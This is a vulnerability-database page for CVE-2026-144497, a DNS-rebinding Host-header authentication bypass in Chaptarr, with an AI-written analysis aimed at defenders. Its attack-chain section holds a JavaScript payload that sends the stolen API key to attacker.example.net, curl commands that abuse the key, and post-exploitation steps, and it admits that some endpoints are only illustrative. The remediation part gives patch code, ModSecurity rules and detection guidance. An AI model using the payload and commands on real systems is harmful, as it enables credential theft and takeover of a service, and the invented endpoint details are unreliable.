CVE Professor
/
All CVEs
CVE-2026-144497

CVE-2026-144497 — CWE-346

HIGH CVSS 7.5 NVD

Chaptarr before 0.9.999 contains an authentication bypass vulnerability that allows remote attackers to access the UI by exploiting missing HTTP Host header validation when local-address authentication is disabled. Attackers can lure a local user to a DNS rebinding page and read /initialize.json for the API key, gaining control of settings, stored credentials, and the library.

Chaptarr before 0.9.999 contains an authentication bypass vulnerability that allows remote attackers to access the UI by exploiting missing HTTP Host header validation when local-address authentication is disabled. Attackers can lure a local user to a DNS rebinding page and read /initialize.json for the API key, gaining control of settings, stored credentials, and the library.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑144497 – “Chaptarr < 0.9.999 – Missing Host‑header validation leads to authentication bypass”


🎯 What is this vulnerability?

ItemDetail
CWECWE‑346 – Origin Validation Error – the application trusts the value of the Host HTTP header without verifying that it matches an allowed set of origins.
CVSS 3.1 VectorAV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H (Network‑accessible, high attack complexity, no privileges required, user interaction required, unchanged scope, high impact on confidentiality, integrity, availability).

| Root cause | Chaptarr (a self‑hosted media‑library manager) can be configured to disable “local‑address authentication” – a mode that normally restricts UI access to requests that arrive on a loop‑back address (127.0.0.1, ::1) or that contain a matching Host header. When this mode is disabled, the server does not validate the Host header at all. Consequently an attacker can make a victim’s browser send a request to the internal Chaptarr service using a maliciously crafted hostname that the attacker controls (via DNS rebinding). The server treats the request as legitimate, bypasses the UI login page, and returns the protected JSON file /initialize.json that contains the API key used by the UI to authenticate subsequent API calls.

In short: the authentication gate is a missing origin check, not a missing password check. The UI assumes that any request arriving on the local network is already trusted; the missing Host validation defeats that assumption.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically correct; where the exact endpoint is not disclosed in the public advisory, the URI is shown as an illustrative example that matches the described behaviour.

1. Discovery & Reconnaissance

PhaseActionTools / Evidence
FingerprintingIdentify that the target runs Chaptarr and determine the version.- Scan the target with Nmap (nmap -sV -p 80,443 <IP>). <br> - Look for the default /static/logo.svg or /api/version endpoint that returns {"name":"Chaptarr","version":"0.9.123"}.
Configuration checkVerify that *local‑address authentication* is disabled (the default in many Docker/helm deployments).- Access http://<target>/settings.json (publicly readable in many installations) and look for "localAuth": false. <br> - Alternatively, enumerate the Docker/compose environment variables (CHAPTRR_LOCAL_AUTH=0).
User‑interaction surfaceFind a page that a logged‑in local user is likely to visit (e.g., the library UI at /).- Passive reconnaissance (search engine, internal documentation) to locate the UI URL.

2. Exploitation

2.1. Prepare a DNS‑rebinding server

# Example using the open‑source rebinding tool "rebindly"
docker run -d --name rebindly -p 80:80 \
  -e TARGET_IP=192.168.10.42 \   # IP of the victim’s internal network interface where Chaptarr listens
  -e REBIND_HOST=evil.example.com \
  rebindly/rebindly
  • evil.example.com resolves first to the attacker’s public IP (for the victim’s browser to load the page) and, after ~5 seconds, to the internal IP of the Chaptarr service (192.168.10.42).
  • The attacker hosts a minimal HTML page that forces the victim’s browser to issue a same‑origin request to the internal service.
  • 2.2. Lure the victim

    <!-- hosted at http://evil.example.com/payload.html -->
    <!DOCTYPE html>
    <html>
    <head><title>Loading…</title></head>
    <body>
    <script>
      // After the DNS rebinding window, the browser thinks the origin is still evil.example.com
      // but the request is sent to the internal Chaptarr instance.
      fetch('http://evil.example.com/initialize.json', { credentials: 'include' })
        .then(r => r.text())
        .then(data => {
            // exfiltrate the API key to the attacker
            fetch('https://attacker.example.net/collect', {
                method: 'POST',
                mode: 'no-cors',
                body: data
            });
        })
        .catch(e => console.error(e));
    </script>
    </body>
    </html>
  • The victim must be authenticated to the local OS (e.g., logged into the workstation) because the UI is normally reachable only from the LAN. No additional UI login is required because the request bypasses authentication.
  • 2.3. Verify the leak (illustrative curl example)

    If the attacker can directly reach the internal address (e.g., via a compromised VPN), a simple PoC is:

    curl -i -H "Host: evil.example.com" http://192.168.10.42/initialize.json

    Expected response (truncated):

    HTTP/1.1 200 OK
    Content-Type: application/json
    ...
    
    {
      "apiKey": "c1a2b3d4e5f6...",
      "uiSettings": { … }
    }

    Note: The Host header is the only element required to trigger the bypass; no authentication cookie or token is needed.

    3. Post‑exploitation

    1. Acquire the UI API key – the JSON file contains a long‑lived token (apiKey) that the UI uses for all subsequent AJAX calls.
    2. Control the library – using the API key, the attacker can call the documented REST endpoints (e.g., POST /api/v1/settings, DELETE /api/v1/credentials). Example:

    curl -X POST -H "Authorization: Bearer c1a2b3d4e5f6..." \
            -H "Content-Type: application/json" \
            -d '{"setting":"allowRemoteAccess","value":true}' \
            http://192.168.10.42/api/v1/settings

    3. Harvest stored credentials – many installations store third‑party service credentials (e.g., Plex, Sonarr) in the database. The attacker can retrieve them via GET /api/v1/credentials.

    4. Persist – the attacker can upload a malicious plugin or modify the library’s configuration to execute arbitrary commands (Chaptarr supports a “custom script” hook that runs with the same privileges as the service).

    5. Impact – With full UI control, the attacker can:
    * Export the entire media library metadata.
    * Replace media files with ransomware payloads.
    * Pivot to other services on the same host (e.g., Docker socket exposure).


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C:H)The attacker can read /initialize.json (API key) and any endpoint that returns stored credentials or library metadata.Exposure of API keys, third‑party service credentials, user‑generated content, and potentially personal media files.
    Integrity (I:H)With the API key the attacker can issue POST/PUT/DELETE calls that modify settings, inject malicious plugins, or overwrite media files.Tampering with configuration, injection of malicious scripts, defacement of the library UI, or insertion of ransomware.
    Availability (A:H)The attacker can delete the library database or trigger a service restart via the API.Complete service outage, loss of media catalog, or forced downtime while remediation is performed.

    Because user interaction is required (the victim must load the attacker‑controlled page), the attack is phishing‑oriented but still high‑impact once a single internal user is compromised.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to Chaptarr ≥ 0.9.999 (the first release that adds strict Host‑header validation and makes “local‑address authentication” mandatory).

    | Back‑port | If an upgrade is not possible, apply the official back‑port patch that adds the following check (pseudo‑code from the vendor’s commit):

    func validateHost(r *http.Request) error {
        allowed := []string{
            "127.0.0.1",
            "localhost",
            os.Getenv("CHAPTRR_HOSTNAME"), // optional explicit whitelist
        }
        host, _, err := net.SplitHostPort(r.Host)
        if err != nil {
            host = r.Host // no port supplied
        }
        for _, a := range allowed {
            if strings.EqualFold(host, a) {
                return nil
            }
        }
        return fmt.Errorf("invalid Host header: %s", host)
    }

    Add this validation early in the request middleware chain.

    Version(s) affectedAll releases < 0.9.999 where the configuration flag localAuth can be set to false.
    ReferenceVendor security advisory (released 2026‑12‑03).

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Enforce Host header validation at the edge (ModSecurity example):
    SecRule REQUEST_HEADERS:Host "!@rx ^(127\.0\.0\.1|localhost|my-chaptarr\.local)$" \
        "id:350001,phase:1,deny,log,msg:'Invalid Host header for Chaptarr UI'"
    
    # Optional: log the offending request for detection
    SecRule REQUEST_HEADERS:Host "!@rx ^(127\.0\.0\.1|localhost|my-chaptarr\.local)$" \
        "id:350002,phase:1,log,tag:'chaptarr-host-bypass'"
    Network segmentationPlace the Chaptarr service behind an internal firewall that only allows connections from trusted subnets (e.g., 10.0.0.0/24). Block inbound traffic from the internet to the port used by Chaptarr.
    Disable the UI entirelyIf the UI is not required, start the service with --disable-ui (available in 0.9.x) or block / and /initialize.json via a reverse‑proxy rule (location /initialize.json { deny all; }).
    Require SameSite cookiesEnsure any session cookies set by Chaptarr have SameSite=Strict to mitigate CSRF‑style rebinding attacks.
    DNS‑rebinding protectionDeploy a DNS‑rebinding protection module on the perimeter (e.g., Cloudflare “DNS Rebinding Protection” or an internal DNS firewall that refuses to resolve internal IPs for external hostnames).

    3. Detection – Log & IOC Guidance

    IndicatorExample Log Entry (NGINX)
    Unexpected Host header192.168.10.42 - - [05/Dec/2026:13:42:17 +0000] "GET /initialize.json HTTP/1.1" 200 423 "-" "Mozilla/5.0" "Host: evil.example.com"
    Rapid successive requests to /initialize.json from the same internal IP10.0.5.23 - - [05/Dec/2026:13:42:18 +0000] "GET /initialize.json HTTP/1.1" 200 423 "-" "-"
    Outbound exfiltration to attacker domain (if the server itself initiates a request)2026-12-05T13:42:20Z WARN outbound POST to https://attacker.example.net/collect size=512
    ModSecurity alerts (if rule 350001 fires)ModSecurity: Warning. Pattern match "Invalid Host header for Chaptarr UI" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/chaptarr.conf"] [line "1"] [id "350001"]

    SIEM rule (pseudo‑logic)

    IF (http.request.uri == "/initialize.json")
       AND (http.request.headers.Host NOT IN {"127.0.0.1","localhost","my-chaptarr.local"})
       AND (source.ip IN internal_subnet)
    THEN raise "Chaptarr Host‑header bypass attempt"

    ⚠️ Urgency

    FactorAssessment
    CVSS 3.1 Base Score7.5 (High) – network‑reachable, confidentiality/integrity/availability all High.
    Exploit ComplexityHigh (requires DNS‑rebinding and a user to load a malicious page). However, the prerequisite (a user visiting any external page) is trivial in most corporate environments (e.g., via phishing, malicious ads, or compromised SaaS).
    Public Exploit AvailabilityNo public exploit framework modules yet, but the PoC is short (≈10 lines of JavaScript).
    CISA KEVNot listed, but the vulnerability is actively exploitable and can lead to full control of the service.
    Patch AvailabilityFixed in version 0.9.999 (released 2026‑12‑03).

    Patch priority: Critical for any production deployment that has localAuth disabled or that is reachable from untrusted networks. Apply the vendor update within 48 hours; if that is impossible, implement the ModSecurity host‑validation rule and network segmentation immediately.


    TL;DR

  • The flaw is a missing validation of the HTTP Host header when “local‑address authentication” is turned off, allowing an attacker to bypass UI authentication via DNS rebinding.
  • Exploitation requires only a malicious web page and a victim who can reach the internal Chaptarr service. The attacker obtains the UI API key, then can read/modify credentials, settings, and media files.
  • Impact is high across CIA.
  • Upgrade to ≥ 0.9.999 or apply the host‑validation patch; in the meantime enforce strict Host checks at the reverse‑proxy/WAF, segment the network, and monitor for abnormal Host headers in logs.
Act now – the vulnerability is trivial to weaponise once a single internal user is lured to a malicious page.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-346
Related CVEs
5.8
CVE-2026-145353
Avahi through 0.9-rc5 contains an origin validation error in libavahi-client that allows unprivileged local us
4.7
CVE-2026-144661
Bitwarden browser extension before 2026.2.0 contains an origin validation error in isValidRpId() in libs/commo
8.1
CVE-2026-137845
An authentication-context vulnerability in Zimbra Collaboration Suite (ZCS) allows a valid app-specific passwo
4.2
CVE-2026-116629
Origin Validation Error vulnerability in Apache Camel CometD component. This issue affects Apache Camel: fr
6.5
CVE-2026-142635
Laravel is a web application framework. Prior to 13.43.0 and 12.73.0, On applications with no trusted proxies
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s